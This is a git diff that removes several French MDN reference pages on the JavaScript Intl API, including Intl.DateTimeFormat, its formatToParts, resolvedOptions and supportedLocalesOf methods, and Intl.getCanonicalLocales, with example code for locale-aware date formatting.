Un tableau ({{jsxref("Array")}}) d'objets qui contiennent les composants de la date mis en forme.

- -

Description

- -

La méthode formatToParts() est utile lorsqu'on souhaite mettre en forme des dates de façon personnalisée. Elle renvoie un tableau d'objets qui contiennent les fragments spécifiques à la locale, à partir desquels on peut construire des chaînes tout en conservant les parties spécifique à la locale. La structure de l'objet renvoyé par la méthode est semblable à celle-ci :

- -
[
-  { type: "day", value: "17" },
-  { type: "weekday", value "Monday" }
-]
- -

Les types possibles sont :

- -
-
day
-
La chaîne utilisée pour désigner le jour, par exemple "17".
-
dayPeriod
-
La chaîne utilisée pour désigner le moment de la journée, par exemple "AM" (qui désigne la matinée, avant midi) ou "PM" (qui désigne l'après-midi).
-
era
-
La chaîne utilisée pour l'ère (par exemple "BC" ou "AD").
-
hour
-
La chaîne utilisée pour l'heure (par exemple "3" or "03").
-
literal
-
La chaîne utilisée pour séparée le jour de l'heure (par exemple " : , / ").
-
minute
-
La chaîne utilisée pour les minutes (par exemple "00").
-
month
-
La chaîne utilisée pour le mois (par exemple "12").
-
second
-
La chaîne utilisée pour les secondes (par exemple "02").
-
timeZoneName
-
La chaîne utilisée pour désigner le fuseau horaire (par exemple "UTC").
-
weekday
-
La chaîne de caractères utilisée pour le jour de la semaine, par exemple "M", "Monday" ou "Montag".
-
year
-
La chaîne utilisée pour désigner l'année (par exemple "2012" ou "96").
-
- -

Exemples

- -

DateTimeFormat produit des chaînes localisées opaques qui ne peuvent pas être manipulées directement :

- -
var date = Date.UTC(2012, 11, 17, 3, 0, 42);
-
-var formatter = new Intl.DateTimeFormat("en-us", {
-  weekday: 'long',
-  year: 'numeric',
-  month: 'numeric',
-  day: 'numeric',
-  hour: 'numeric',
-  minute: 'numeric',
-  second: 'numeric',
-  hour12: true,
-  timeZone: "UTC"
-});
-
-formatter.format(date);
-// "Monday, 12/17/2012, 3:00:42 AM"
-
- -

Cependant, pour de nombreuses interfaces utilisateur, on peut vouloir personnaliser la mise en forme de cette chaîne de caractères. La méthode formatToParts permet une mise en forme dans le souci de la locale en manipulant les différentes composantes :

- -
formatter.formatToParts(date);
-
-// return value:
-[
-  { type: 'weekday',   value: 'Monday' },
-  { type: 'separator', value: ', '     },
-  { type: 'month',     value: '12'     },
-  { type: 'literal', value: '/'      },
-  { type: 'day',       value: '17'     },
-  { type: 'literal', value: '/'      },
-  { type: 'year',      value: '2012'   },
-  { type: 'literal', value: ', '     },
-  { type: 'hour',      value: '3'      },
-  { type: 'literal', value: ':'      },
-  { type: 'minute',    value: '00'     },
-  { type: 'literal', value: ':'      },
-  { type: 'second',    value: '42'     },
-  { type: 'literal', value: ' '      },
-  { type: 'dayPeriod', value: 'AM'     }
-]
-
- -

L'information étant décomposée, on peut alors la mettre en forme et la recomposée de façon adaptée :

- -
var dateString = formatter.formatToParts(date).map(({type, value}) => {
-  switch (type) {
-    case 'dayPeriod': return `<strong>${value}</strong>`;
-    default : return value;
-  }
-}).reduce((string, part) => string + part);
-
-console.log(formatter.format(date));
-// "Monday, 12/17/2012, 3:00:42 AM"
-
-console.log(dateString);
-// "Monday, 12/17/2012, 3:00:42 <strong>AM</strong>"
- -

Prothèse d'émulation (polyfill)

- -

Une prothèse de cette fonctionnalité est disponible sur le dépôt décrivant la proposition de fonctionnalité.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.formatToParts', 'Intl.DateTimeFormat.prototype.formatToParts')}}{{Spec2('ES Int Draft')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat.formatToParts")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
  • {{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
    • -
  • {{jsxref("Date.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleDateString()")}}
    • -
  • {{jsxref("Date.prototype.toLocaleTimeString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html deleted file mode 100644 index eb7c535c80..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/index.html +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: Intl.DateTimeFormat -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat -tags: - - Internationalisation - - Intl - - JavaScript - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat ---- -
{{JSRef}}
- -

L'objet Intl.DateTimeFormat est un constructeur d'objets permettant de formatter des dates et des heures selon une langue.

- -
{{EmbedInteractiveExample("pages/js/intl-datetimeformat.html")}}
- - - -

Syntaxe

- -
new Intl.DateTimeFormat([locales[, options]])
-Intl.DateTimeFormat.call(this[, locales[, options]])
- -

Paramètres

- -
-
locales{{optional_inline}}
-
-

Ce paramètre optionnel est une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour utiliser la locale par défaut du navigateur, on pourra omettre cet argument (ou passer la valeur undefined). Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées :

- -
-
nu
-
Système de numérotation. Les valeurs possibles incluent : "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".
-
ca
-
Calendrier. Les valeurs possibles incluent : "buddhist", "chinese", "coptic", "ethiopia", "ethiopic", "gregory", "hebrew", "indian", "islamic", "islamicc", "iso8601", "japanese", "persian", "roc".
-
hc
-
Le type de cycle horaire à utiliser. Les valeurs possibles sont "h11", "h12", "h23", "h24".
-
-
-
options
-
-

Un objet avec certaines ou toutes les propriétés suivantes :

- -
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}
-
timeZone
-
Le fuseau horaire à utiliser. La seule valeur que doivent reconnaitre les implémentations est "UTC" ; la valeur par défaut est le fuseau horaire du moteur JavaScript. Les implémentations peuvent aussi reconnaitre les noms de fuseau horaire de la base de données IANA de fuseaux horaires, tel que "Asia/Shanghai", "Asia/Kolkata", "America/New_York".
-
hour12
-
S'il faut utiliser le format horaire sur 12 heures (au lieu de celui-ci sur 24 heures). Les valeurs possibles sont true et false ; la valeur par défaut dépend de la locale. Cette option surcharge l'étiquette hc et/ou l'option hourCycle.
-
hourCycle
-
Le cycle horaire à utiliser. Les valeurs possibles sont "h11", "h12", "h23", "h24". Cette option surcharge l'étiquette hc mais sera remplacée par hour12 si cette dernière est présente.
-
formatMatcher
-
L'algorithme de correspondance à utiliser pour le formattage. Les valeurs possibles sont "basic" et "best fit" ; par défaut "best fit". Voir les paragraphes suivants pour des informations concernant l'usage de cette propriété.
-
- -

Les propriétés suivantes décrivent les composants date-heure à utiliser pour le formattage de la sortie.  Les implémentations ont pour obligation de supporter au minimum les ensembles suivants :

- -
    -
  • weekday, year, month, day, hour, minute, second
    • -
  • weekday, year, month, day
    • -
  • year, month, day
    • -
  • year, month
    • -
  • month, day
    • -
  • hour, minute, second
    • -
  • hour, minute
    • -
- -

Les implémentations peuvent supporter d'autres sous-ensembles, et les demandes seront évaluées face à toutes les combinaisons de sous-ensembles disponibles pour trouver la meilleure correspondance. Deux algorithmes sont disponibles pour cette évaluation et choisis par la propriété formatMatcher : un algorithme "basic" complètement spécifié et un algorithme "best fit" dépendant de l'implémentation.

- -
-
weekday
-
La représentation du jour de la semaine. Les valeurs possibles sont : -
    -
  • "long" (par exemple Thursday)
    • -
  • "short" (par exemple Thu)
    • -
  • "narrow" (par exemple T). Deux jours de la semaines pourront partager la même représentation dans certaines locales (par exemple, en anglais Tuesday sera également représenté avec T en notation étroite).
    • -
-
-
era
-
La représentation de l'ère. Les valeurs possibles sont : -
    -
  • "long" (par exemple Anno Domini)
    • -
  • "short" (par exemple AD)
    • -
  • "narrow" (par exemple A)
    • -
-
-
year
-
La représentation de l'année. Les valeurs possibles sont : -
    -
  • "numeric" (par exemple 2012)
    • -
  • "2-digit" (par exemple 12)
    • -
-
-
month
-
La représentation du mois. Les valeurs possibles sont : -
    -
  • "numeric" (par exemple 2)
    • -
  • "2-digit" (par exemple 02)
    • -
  • "long" (par exemple March)
    • -
  • "short" (par exemple Mar)
    • -
  • "narrow" (par exemple M). Dans certaines locales, deux mois pourront partager la même représentation avec le style étroit (par exemple, May en anglais, sera également représenté avec M).
    • -
-
-
day
-
La représentation du jour. Les valeurs possibles sont : -
    -
  • "numeric" (par exemple 1)
    • -
  • "2-digit" (par exemple 01)
    • -
-
-
hour
-
La représentation de l'heure. Les valeurs possibles sont : -
    -
  • "numeric" (par exemple 1)
    • -
  • "2-digit" (par exemple 01)
    • -
-
-
minute
-
La représentation des minutes. Les valeurs possibles sont : -
    -
  • "numeric" (par exemple 1)
    • -
  • "2-digit" (par exemple 01)
    • -
-
-
second
-
La représentation des secondes. Les valeurs possibles sont : -
    -
  • "numeric" (par exemple 1)
    • -
  • "2-digit" (par exemple 01)
    • -
-
-
timeZoneName
-
La représentation du fuseau horaire. Les valeurs possibles sont : -
    -
  • "long" (par exemple British Summer Time)
    • -
  • "short" (par exemple GMT+1)
    • -
-
-
- -

La valeur par défaut pour chaque composante est {{jsxref("undefined")}}, mais si toutes les composantes valent undefined, alors year, month, et day seront considérés comme "numeric".

-
-
- -

Description

- -

Propriétés

- -
-
{{jsxref("DateTimeFormat.prototype", "Intl.DateTimeFormat.prototype")}}
-
Permet l'ajout de propriétés à tous les objets.
-
- -

Méthodes

- -
-
{{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}
-
Renvoie un tableau contenant les locales supportées parmis les locales fournies, sans qu'il soit nécessaire de recourir à la locale par défaut de l'implémentation.
-
- -

Instances de DateTimeFormat

- -

Propriétés

- -

Les instances de DateTimeFormat() héritent des propriétés suivantes depuis leur prototype :

- -
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat/prototype','Properties')}}
- -

Méthodes

- -
-

Les instances de DateTimeFormat() héritent des propriétés suivantes depuis leur prototype :

-{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat/prototype','Méthodes')}}
- -

Exemples

- -

Utiliser DateTimeFormat()

- -

Dans une utilisation basique sans préciser de locale, DateTimeFormat() utilise la locale et les options par défaut

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// DateTimeFormat sans arguments dépend de l'implémentation,
-// la locale par défaut, et le fuseau horaire par défaut
-console.log(new Intl.DateTimeFormat().format(date));
-// → "20/12/2012" avec une locale fr-Fr et un fuseau horaire CEST
- -

Utiliser locales

- -

Cet exemple montre quelques variations de formattage pour les dates et les heures localisées. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument locales :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// les formats qui suivent se basent sur le
-// fuseau horaire CEST
-
-// l'anglais américain utilise l'ordre mois-jour-année
-console.log(new Intl.DateTimeFormat("en-US").format(date));
-// → "12/20/2012"
-
-// l'anglais britannique utilise l'ordre jour-mois-année
-console.log(new Intl.DateTimeFormat("en-GB").format(date));
-// → "20/12/2012"
-
-// le coréen utilise l'ordre année-mois-jour
-console.log(new Intl.DateTimeFormat("ko-KR").format(date));
-// → "2012. 12. 20."
-
-// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
-console.log(new Intl.DateTimeFormat("ar-EG").format(date));
-// → "٢٠‏/١٢‏/٢٠١٢"
-
-// en ce qui concerne le japonais, les applications peuvent
-// souhaiter utiliser le calendrier japonais
-// pour lequel 2012 était l'année 24 de l'ère Heisei
-console.log(new Intl.DateTimeFormat("ja-JP-u-ca-japanese").format(date));
-// → "24/12/20"
-
-// quand un langage non support est demandé (ex : le balinais)
-// il est possible de fournir un langage de recours (ici l'indonésien)
-console.log(new Intl.DateTimeFormat(["ban", "id"]).format(date));
-// → "20/12/2012"
-
- -

Utiliser options

- -

Les formats de la date et de l'heure peuvent être personnalisés en utilisant l'argument options :

- -
var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
-
-// fournir le jour de la semaine avec une date longue
-var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
-console.log(new Intl.DateTimeFormat("de-DE", options).format(date));
-// → "Donnerstag, 20. Dezember 2012"
-
-// une application peut vouloir utiliser UTC et le rendre visible
-options.timeZone = "UTC";
-options.timeZoneName = "short";
-console.log(new Intl.DateTimeFormat("en-US", options).format(date));
-// → "Thursday, December 20, 2012, GMT"
-
-// parfois, vous voulez être précis
-options = {hour: "numeric", minute: "numeric", second: "numeric",
-           timeZoneName: "short"};
-console.log(new Intl.DateTimeFormat("en-AU", options).format(date));
-// → "2:00:00 pm AEDT"
-
-// parfois, même les USA ont besoin d'afficher une heure sur 24h
-options = {year: "numeric", month: "numeric", day: "numeric",
-           hour: "numeric", minute: "numeric", second: "numeric",
-           hour12: false};
-console.log(new Intl.DateTimeFormat("en-US", options));
-// → "12/19/2012, 19:00:00"
-
-// pour utiliser la locale par défaut du navigateur :
-console.log(new Intl.DateTimeFormat('default', options).format(date));
-// → "12/19/2012, 19:00:00" (peut varier selon la locale du navigateur)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.1', 'Intl.DateTimeFormat')}}{{Spec2('ES Int 1.0')}}Première définition.
{{SpecName('ES Int 2.0', '#sec-12.1', 'Intl.DateTimeFormat')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#datetimeformat-objects', 'Intl.DateTimeFormat')}}{{Spec2('ES Int Draft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat")}}

- -

Voir aussi

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html deleted file mode 100644 index 39e6679295..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/prototype/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/prototype -tags: - - Internationalisation - - Intl - - JavaScript - - Propriété - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype ---- -
{{JSRef}}
- -

La propriété Intl.DateTimeFormat.prototype représente le prototype du constructeur {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Voir la page {{jsxref("DateTimeFormat")}} qui décrit les instances de Intl.DateTimeFormat.

- -

Les instances de {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} héritent de Intl.DateTimeFormat.prototype. Les modifications apportées à l'objet prototype sont propagées sur toutes les instances de  Intl.DateTimeFormat par héritage.

- -

Propriétés

- -
-
Intl.DateTimeFormat.prototype.constructor
-
Une référence à Intl.DateTimeFormat.
-
- -

Méthodes

- -
-
{{jsxref("DateTimeFormat.format", "Intl.DateTimeFormat.prototype.format")}}
-
Un accesseur qui renvoie une fonction formattant une date selon les options de format et de locale spécifiées pour l'objet DateTimeFormat.
-
{{jsxref("DateTimeFormat.formatToParts","Intl.DateTimeFormat.prototype.formatToParts()")}}
-
Renvoie un tableau d'objets qui représentent les composants de la date sous forme de chaînes de caractères afin que celles-ci puissent être utilisée dans une mise en forme adaptée à la locale.
-
{{jsxref("DateTimeFormat.resolvedOptions", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
-
Renvoie un nouvel objet dont les propriétés indiquent les options de format et de locale calculées lors de l'initialisation de l'objet.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES Int 1.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-12.2.1', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype', 'Intl.DateTimeFormat.prototype')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html deleted file mode 100644 index b91083bb16..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/resolvedoptions/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Intl.DateTimeFormat.prototype.resolvedOptions() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/resolvedOptions -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/resolvedOptions ---- -
{{JSRef}}
- -

La méthode Intl.DateTimeFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de format et de locale pour les heures et dates, calculées pendant l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-resolvedoptions.html")}}
- - - -

Syntaxe

- -
dateTimeFormat.resolvedOptions()
- -

Valeur de retour

- -

Un nouvel objet dont les propriétés reflètent les options de format et de locale pour les heures et dates, calculées pendant l'initialisation de l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}

- -

Description

- -

La valeur renvoyée par cette méthode contient les propriétés suivantes :

- -
-
locale
-
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
-
calendar
-
Le calendrier utilisé (ex. "gregory" pour le calendrier grégorien).
-
numberingSystem
-
Les valeurs demandées pour les extensions Unicode "ca" et "nu" ou leurs valeurs par défaut.
-
timeZone
-
La valeur fournie par l'argument options pour cette propriété ou {{jsxref("undefined")}} (qui représente le fuseau horaire de l'environnement) si aucune valeur n'a été fournie. Les applications ne doivent pas s'appuyer sur ce dernier cas. En effet, de futures versions pourraient renvoyer une chaîne de caractères représentant le fuseau horaire de l'environnement et non pas undefined.
-
hour12
-
La valeur fournie pour cette propriété dans l'argument options.
-
weekday
-
era
-
year
-
month
-
day
-
hour
-
minute
-
second
-
timeZoneName
-
Les valeurs qui correspondent entre les propriétés de l'argument options et les combinaisons disponibles dans l'environnement pour les formats de date et d'heure pour la locale. Certaines de ces propriétés peuvent ne pas être présentes, cela indique que les composants indiqués ne seront pas représentés.
-
- -

Exemples

- -
var germanFakeRegion = new Intl.DateTimeFormat("de-XX", { timeZone: "UTC" });
-var usedOptions = germanFakeRegion.resolvedOptions();
-
-usedOptions.locale;          // "de"
-usedOptions.calendar;        // "gregory"
-usedOptions.numberingSystem; // "latn"
-usedOptions.timeZone;        // "UTC"
-usedOptions.month;           // "numeric"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.3.3', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-Intl.DateTimeFormat.prototype.resolvedOptions', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.prototype.resolvedOptions', 'Intl.DateTimeFormat.prototype.resolvedOptions')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat.resolvedOptions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html deleted file mode 100644 index 079c20ae21..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/datetimeformat/supportedlocalesof/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Intl.DateTimeFormat.supportedLocalesOf() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/DateTimeFormat/supportedLocalesOf -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/supportedLocalesOf ---- -
{{JSRef}}
- -

À partir d'une locale ou d'un tableau de locales Intl.DateTimeFormat.supportedLocalesOf() renvoie un tableau qui contient les locales supportées pour le formatage des dates et des heures qui ne nécessitent pas d'avoir recours à la locale par défaut de l'environnement.

- -
{{EmbedInteractiveExample("pages/js/intl-datetimeformat-prototype-supportedlocalesof.html")}}
- - - -

Syntaxe

- -
Intl.DateTimeFormat.supportedLocalesOf(locales[, options])
- -

Paramètres

- -
-
locales
-
Un chaîne de caractères au format d'une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations sur le format de l'argument locales, voir la page {{jsxref("Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
-
options
-
-

Paramètre optionnel, un objet pouvant avoir la propriété suivante :

- -
-
localeMatcher
-
L'algorithme de correspondance entre locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". Pour plus d'informations sur ce sujet, voir la page {{jsxref("Intl", "Intl", "#Choix_de_la_locale")}}.
-
-
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langue qui sont prises en charge pour la mise en forme de l'heure et de la date sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.

- -

Description

- -

Renvoie un tableau qui est un sous-ensemble de locales. Les balises de langues renvoyées sont celles supportées par l'environnement pour le formatage des heures et des dates. Ces balises sont déterminées en fonction de l'algorithme de correspondances de locale et des locales utilisées. Le tableau résultant fournit les locales qui permettent de ne pas avoir à utiliser la locale par défaut.

- -

Exemple

- -

Utiliser supportedLocalesOf

- -

Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures,  supportedLocalesOf renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les dates ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme "lookup". Si on utilisait "best fit", on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.

- -
var locales = ["ban", "id-u-co-pinyin", "de-ID"];
-var options = {localeMatcher: "lookup"};
-console.log(Intl.DateTimeFormat.supportedLocalesOf(locales, options).join(", "));
-// → "id-u-co-pinyin, de-ID"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-12.2.2', 'Intl.DateTimeFormat.supportedLocalesOf')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.DateTimeFormat.supportedLocalesOf', 'Intl.DateTimeFormat.supportedLocalesOf')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.DateTimeFormat.supportedLocalesOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html deleted file mode 100644 index e0fc40a55d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/getcanonicallocales/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Intl.getCanonicalLocales() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/getCanonicalLocales -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/getCanonicalLocales ---- -
{{JSRef}}
- -

La méthode Intl.getCanonicalLocales() renvoie un tableau contenant les noms canoniques des locales. Les doublons seront fusionnés et les éléments passés en arguments doivent être des étiquettes de langues valides.

- -
{{EmbedInteractiveExample("pages/js/intl-getcanonicallocales.html")}}
- - - -

Syntaxe

- -
Intl.getCanonicalLocales(locales)
- -

Paramètres

- -
-
locales
-
Une liste de chaînes ({{jsxref("String")}}) dont on veut obtenir les noms canoniques pour les locales correspondantes.
-
- -

Valeur de retour

- -

Un tableau qui contient les noms canoniques des locales.

- -

Exemples

- -
Intl.getCanonicalLocales("EN-US"); // ["en-US"]
-Intl.getCanonicalLocales(["EN-US", "Fr"]); // ["en-US", "fr"]
-
-Intl.getCanonicalLocales("EN_US");
-// RangeError:'EN_US' is not a structurally valid language tag
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int Draft', '#sec-intl.getcanonicallocales', 'Intl.getCanonicalLocales')}}{{Spec2('ES Int Draft')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.getCanonicalLocales")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}
    • -
  • {{jsxref("DateTimeFormat.supportedLocalesOf", "Intl.DateTimeFormat.supportedLocalesOf()")}}
    • -
  • {{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/index.html deleted file mode 100644 index 26062d308d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Intl -slug: Web/JavaScript/Reference/Objets_globaux/Intl -tags: - - Espace de noms - - Internationalisation - - Intl - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl ---- -
{{JSRef}}
- -

L'objet Intl est l'espace de noms pour l'API d'Internationalisation d'ECMAScript. Elle fournit des outils de comparaison de chaînes de caractères, de formatage des nombres, de dates et de l'heure selon les langues. Intl donne accès à plusieurs constructeurs et fonctionnalités communs aux constructeurs destinés à l'internationalion et à d'autres fonctions dépendantes des langues.

- -

Propriétés constructrices

- -
-
{{jsxref("Objets_globaux/Collator", "Intl.Collator")}}
-
Le constructeur pour les ordonnanceurs (collators en anglais) et les objets qui permettent la comparaison de chaînes de caractères selon les règles spécifiques d'une langue.
-
{{jsxref("Objets_globaux/DateTimeFormat", "Intl.DateTimeFormat")}}
-
Le constructeur pour les objets qui permettent le formatage des dates et de l'heure selon les règles spécifiques d'une langue.
-
{{jsxref("Global_Objects/Intl/DisplayNames/DisplayNames", "Intl.DisplayNames()")}}
-
Le constructeur pour les objets qui permettent de fournir des traductions constantes de noms de langues, régions et systèmes d'écriture.
-
{{jsxref("Objets_globaux/ListFormat", "Intl.ListFormat")}}
-
Le constructeur pour les objets qui permettent le formatage des listes selon les règles spécifiques d'une langue.
-
{{jsxref("Global_Objects/Intl/Locale/Locale", "Intl.Locale()")}}
-
Le constructeur pour les objets qui représentent un identifiant de langue Unicode.
-
{{jsxref("Objets_globaux/NumberFormat", "Intl.NumberFormat")}}
-
Le constructeur pour les objets qui permettent le formatage des nombres selon les règles spécifiques d'une langue.
-
{{jsxref("Objets_globaux/PluralRules","Intl.PluralRules")}}
-
Le constructeur pour les objets qui permettent le formatage prenant en compte le pluriel et les règles de pluriel spécifiques d'une langue.
-
{{jsxref("Objets_globaux/RelativeTimeFormat","Intl.RelativeTimeFormat")}}
-
Le constructeur pour les objets qui permettent le formatage d'intervalles de temps spécifiques d'une langue.
-
- -

Méthodes statiques

- -
-
{{jsxref("Intl.getCanonicalLocales()")}}
-
Méthode renvoyant les noms canoniques des locales.
-
- -

Identification et choix de la locale

- -

Les constructeurs d'internationalisation, ainsi que plusieurs autres méthodes spécifiques à une langue dans d'autres constructeurs (voir ci-dessous {{anch("See_also", "Voir aussi")}}), utilisent un schéma commun pour identifier les locales et déterminer celle qu'ils utiliseront effectivement : ils acceptent tous les arguments locales et options, et ils négocient les locales demandées face aux locales qu'ils supportent, en utilisant un algorithme spécifié dans la propriété options.localeMatcher.

- -

Argument locales

- -

